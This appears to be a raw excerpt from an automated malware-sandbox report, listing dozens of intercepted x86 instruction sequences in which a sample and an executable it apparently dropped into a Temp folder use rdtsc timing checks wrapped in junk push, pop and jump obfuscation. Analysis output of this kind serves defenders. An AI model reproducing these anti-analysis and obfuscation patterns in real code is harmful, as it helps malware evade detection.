Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4D20809 second address: 4D20872 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, 84A4h 0x00000007 pushfd 0x00000008 jmp 00007F1690C1AF9Dh 0x0000000d adc esi, 7CB35EE6h 0x00000013 jmp 00007F1690C1AFA1h 0x00000018 popfd 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c xchg eax, ebp 0x0000001d jmp 00007F1690C1AF9Eh 0x00000022 mov ebp, esp 0x00000024 jmp 00007F1690C1AFA0h 0x00000029 xchg eax, ecx 0x0000002a jmp 00007F1690C1AFA0h 0x0000002f push eax 0x00000030 push eax 0x00000031 push edx 0x00000032 push eax 0x00000033 push edx 0x00000034 pushad 0x00000035 popad 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4D20872 second address: 4D20878 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4D20878 second address: 4D208A0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1690C1AF9Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F1690C1AFA0h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4D208A0 second address: 4D208A6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4D208A6 second address: 4D208AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4D208AC second address: 4D208B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4D208B0 second address: 4D208CC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [ebp-04h], 55534552h 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F1690C1AF9Bh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4D309B0 second address: 4D309B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4D309B4 second address: 4D309B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4D309B8 second address: 4D309BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4D309BE second address: 4D309D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1690C1AFA2h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4D309D4 second address: 4D30A2B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1690B6C7FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d call 00007F1690B6C804h 0x00000012 pushfd 0x00000013 jmp 00007F1690B6C802h 0x00000018 and si, F798h 0x0000001d jmp 00007F1690B6C7FBh 0x00000022 popfd 0x00000023 pop eax 0x00000024 mov esi, edi 0x00000026 popad 0x00000027 push eax 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b movzx eax, bx 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4D30A2B second address: 4D30A6E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, 36D1h 0x00000007 mov ecx, 16AA6F0Dh 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f xchg eax, ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 mov ebx, 2695F928h 0x00000018 pushfd 0x00000019 jmp 00007F1690C1AFA1h 0x0000001e and esi, 60D58696h 0x00000024 jmp 00007F1690C1AFA1h 0x00000029 popfd 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4D30A6E second address: 4D30A94 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1690B6C801h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F1690B6C7FDh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4D30A94 second address: 4D30A9A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4D30A9A second address: 4D30ADC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1690B6C803h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b cmp dword ptr [75C7459Ch], 05h 0x00000012 jmp 00007F1690B6C806h 0x00000017 je 00007F1701A4A725h 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4D30ADC second address: 4D30AE0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4D30AE0 second address: 4D30AE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4D30B24 second address: 4D30B33 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1690C1AF9Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4D30C50 second address: 4D30C54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4D30C54 second address: 4D30C62 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1690C1AF9Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4D30C62 second address: 4D30C68 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4D30C68 second address: 4D30C6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4D507F0 second address: 4D507F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4D507F4 second address: 4D507FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4D507FA second address: 4D50832 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1690B6C804h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [75C7459Ch], 05h 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F1690B6C807h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4D50832 second address: 4D508AC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F1690C1AF9Fh 0x00000008 pop esi 0x00000009 mov bx, 26FCh 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 je 00007F1701AF0BE1h 0x00000016 jmp 00007F1690C1AF9Bh 0x0000001b xchg eax, esi 0x0000001c pushad 0x0000001d call 00007F1690C1AFA0h 0x00000022 mov ebx, esi 0x00000024 pop eax 0x00000025 popad 0x00000026 push eax 0x00000027 push eax 0x00000028 push edx 0x00000029 pushad 0x0000002a pushfd 0x0000002b jmp 00007F1690C1AFA9h 0x00000030 or esi, 38286E66h 0x00000036 jmp 00007F1690C1AFA1h 0x0000003b popfd 0x0000003c pushad 0x0000003d popad 0x0000003e popad 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4D508AC second address: 4D508B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4D508EA second address: 4D508F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov edi, 015FFEFEh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4D508F4 second address: 4D50931 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F1690B6C7FEh 0x00000009 and cx, F2C8h 0x0000000e jmp 00007F1690B6C7FBh 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push eax 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F1690B6C804h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4D50931 second address: 4D5094B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1690C1AF9Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push ebx 0x0000000e pop eax 0x0000000f mov bx, 1222h 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe RDTSC instruction interceptor: First address: CDD90D second address: CDD911 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe RDTSC instruction interceptor: First address: CDD911 second address: CDD921 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1690C1AF9Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe RDTSC instruction interceptor: First address: E5DE81 second address: E5DE85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe RDTSC instruction interceptor: First address: E5DE85 second address: E5DEAB instructions: 0x00000000 rdtsc 0x00000002 jne 00007F1690C1AF96h 0x00000008 jmp 00007F1690C1AF9Ah 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jno 00007F1690C1AFA2h 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe RDTSC instruction interceptor: First address: E5DEAB second address: E5DED9 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push esi 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c pop esi 0x0000000d push eax 0x0000000e push edx 0x0000000f jnp 00007F1690B6C7F6h 0x00000015 jmp 00007F1690B6C809h 0x0000001a rdtsc
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe RDTSC instruction interceptor: First address: E5DED9 second address: E5DEFA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1690C1AFA9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe RDTSC instruction interceptor: First address: E5E186 second address: E5E18A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe RDTSC instruction interceptor: First address: E614C6 second address: E614CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe RDTSC instruction interceptor: First address: E6153B second address: E6157D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1690B6C800h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov dword ptr [ebp+122D1E15h], edi 0x00000010 mov dword ptr [ebp+122D33DDh], ebx 0x00000016 push 00000000h 0x00000018 mov edx, dword ptr [ebp+122D2471h] 0x0000001e push 8EF73C15h 0x00000023 push eax 0x00000024 push edx 0x00000025 jbe 00007F1690B6C802h 0x0000002b jmp 00007F1690B6C7FCh 0x00000030 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe RDTSC instruction interceptor: First address: E6157D second address: E61612 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F1690C1AF9Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a add dword ptr [esp], 7108C46Bh 0x00000011 clc 0x00000012 push 00000003h 0x00000014 jmp 00007F1690C1AFA2h 0x00000019 push 00000000h 0x0000001b mov dx, bx 0x0000001e push 00000003h 0x00000020 jmp 00007F1690C1AFA5h 0x00000025 push 64344B29h 0x0000002a pushad 0x0000002b jmp 00007F1690C1AFA2h 0x00000030 jmp 00007F1690C1AFA1h 0x00000035 popad 0x00000036 add dword ptr [esp], 5BCBB4D7h 0x0000003d mov edi, 0E5D47B9h 0x00000042 xor edi, dword ptr [ebp+122D380Ch] 0x00000048 lea ebx, dword ptr [ebp+1245741Fh] 0x0000004e push eax 0x0000004f jbe 00007F1690C1AFA4h 0x00000055 push eax 0x00000056 push edx 0x00000057 push ecx 0x00000058 pop ecx 0x00000059 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe RDTSC instruction interceptor: First address: E6167E second address: E61684 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe RDTSC instruction interceptor: First address: E61684 second address: E61688 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe RDTSC instruction interceptor: First address: E61688 second address: E6168C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe RDTSC instruction interceptor: First address: E6168C second address: E616D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 pushad 0x0000000a mov dh, bl 0x0000000c jmp 00007F1690C1AFA7h 0x00000011 popad 0x00000012 push 00000000h 0x00000014 sub dword ptr [ebp+122D1E15h], eax 0x0000001a push 833C6CD9h 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007F1690C1AFA1h 0x00000028 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe RDTSC instruction interceptor: First address: E616D2 second address: E616D8 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe RDTSC instruction interceptor: First address: E616D8 second address: E616DF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe RDTSC instruction interceptor: First address: E616DF second address: E61762 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 add dword ptr [esp], 7CC393A7h 0x0000000e push 00000000h 0x00000010 push esi 0x00000011 call 00007F1690B6C7F8h 0x00000016 pop esi 0x00000017 mov dword ptr [esp+04h], esi 0x0000001b add dword ptr [esp+04h], 00000018h 0x00000023 inc esi 0x00000024 push esi 0x00000025 ret 0x00000026 pop esi 0x00000027 ret 0x00000028 clc 0x00000029 push 00000003h 0x0000002b push 00000000h 0x0000002d push edx 0x0000002e call 00007F1690B6C7F8h 0x00000033 pop edx 0x00000034 mov dword ptr [esp+04h], edx 0x00000038 add dword ptr [esp+04h], 00000016h 0x00000040 inc edx 0x00000041 push edx 0x00000042 ret 0x00000043 pop edx 0x00000044 ret 0x00000045 push 00000000h 0x00000047 push 00000003h 0x00000049 ja 00007F1690B6C7F8h 0x0000004f mov edi, dword ptr [ebp+122D2D1Eh] 0x00000055 call 00007F1690B6C7F9h 0x0000005a jbe 00007F1690B6C802h 0x00000060 jns 00007F1690B6C7FCh 0x00000066 push eax 0x00000067 push eax 0x00000068 push edx 0x00000069 push eax 0x0000006a push ecx 0x0000006b pop ecx 0x0000006c pop eax 0x0000006d rdtsc
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe RDTSC instruction interceptor: First address: E61762 second address: E61770 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1690C1AF9Ah 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe RDTSC instruction interceptor: First address: E61770 second address: E61774 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe RDTSC instruction interceptor: First address: E61774 second address: E617EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c pushad 0x0000000d jbe 00007F1690C1AF98h 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 js 00007F1690C1AF96h 0x0000001c pop eax 0x0000001d popad 0x0000001e mov eax, dword ptr [eax] 0x00000020 push edx 0x00000021 jnl 00007F1690C1AFA7h 0x00000027 pop edx 0x00000028 mov dword ptr [esp+04h], eax 0x0000002c push ecx 0x0000002d jmp 00007F1690C1AF9Eh 0x00000032 pop ecx 0x00000033 pop eax 0x00000034 mov edi, 24F02E0Eh 0x00000039 mov esi, dword ptr [ebp+122D34E8h] 0x0000003f lea ebx, dword ptr [ebp+12457428h] 0x00000045 sub cx, EA00h 0x0000004a push eax 0x0000004b push eax 0x0000004c push edx 0x0000004d push eax 0x0000004e push edx 0x0000004f jmp 00007F1690C1AFA1h 0x00000054 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe RDTSC instruction interceptor: First address: E617EE second address: E617FE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1690B6C7FCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe RDTSC instruction interceptor: First address: E617FE second address: E61808 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F1690C1AF96h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe RDTSC instruction interceptor: First address: E61A02 second address: E61A14 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F1690B6C7F8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e push edi 0x0000000f pop edi 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe RDTSC instruction interceptor: First address: E817A7 second address: E817BE instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jo 00007F1690C1AF96h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edi 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 ja 00007F1690C1AF96h 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe RDTSC instruction interceptor: First address: E817BE second address: E817D3 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F1690B6C7F6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jl 00007F1690B6C7F6h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe RDTSC instruction interceptor: First address: E817D3 second address: E817DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe RDTSC instruction interceptor: First address: E817DB second address: E817E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe RDTSC instruction interceptor: First address: E817E0 second address: E817EB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007F1690C1AF96h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe RDTSC instruction interceptor: First address: E817EB second address: E817F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe RDTSC instruction interceptor: First address: E81951 second address: E81968 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1690C1AFA3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe RDTSC instruction interceptor: First address: E81968 second address: E81982 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F1690B6C805h 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe RDTSC instruction interceptor: First address: E81AB4 second address: E81ADB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F1690C1AFA8h 0x0000000c push eax 0x0000000d push edx 0x0000000e ja 00007F1690C1AF96h 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe RDTSC instruction interceptor: First address: E81ADB second address: E81AE1 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe RDTSC instruction interceptor: First address: E81AE1 second address: E81AE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe RDTSC instruction interceptor: First address: E81AE7 second address: E81AF0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe RDTSC instruction interceptor: First address: E81C4D second address: E81C51 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe RDTSC instruction interceptor: First address: E81C51 second address: E81C75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 jmp 00007F1690B6C802h 0x0000000e pop esi 0x0000000f push eax 0x00000010 push edx 0x00000011 jbe 00007F1690B6C7F6h 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe RDTSC instruction interceptor: First address: E81C75 second address: E81C8B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1690C1AFA2h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe RDTSC instruction interceptor: First address: E81DF6 second address: E81E01 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe RDTSC instruction interceptor: First address: E81E01 second address: E81E07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe RDTSC instruction interceptor: First address: E81E07 second address: E81E0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe RDTSC instruction interceptor: First address: E82671 second address: E8267B instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F1690C1AF96h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe RDTSC instruction interceptor: First address: E827D3 second address: E827D9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe RDTSC instruction interceptor: First address: E86D3D second address: E86D49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe RDTSC instruction interceptor: First address: E86D49 second address: E86D59 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1690B6C7FCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe RDTSC instruction interceptor: First address: E51383 second address: E51387 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
